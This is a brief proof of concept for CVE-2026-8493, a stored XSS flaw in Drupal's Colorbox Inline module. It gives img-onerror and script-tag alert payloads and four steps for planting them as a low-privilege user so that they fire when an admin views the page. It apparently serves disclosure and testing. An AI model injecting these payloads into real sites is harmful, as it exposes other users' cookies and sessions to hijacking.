CVE-2026-8493 Drupal Colorbox Inline XSS漏洞

// Proof of Concept for CVE-2026-8493 // This payload demonstrates the XSS vulnerability in the Colorbox Inline module. // Inject the following string into a vulnerable input field (e.g., content or title): var payload = '<img src=x onerror=alert(document.cookie)>'; // Alternatively, if script tags are not stripped: // var payload = '<script>alert("CVE-2026-8493 Confirmed")</script>'; // Exploitation steps: // 1. Log in as a low-privilege user. // 2. Submit the payload in the Colorbox Inline configuration or content. // 3. Wait for an admin or another user to view the page. // 4. The JavaScript executes in the victim's browser context.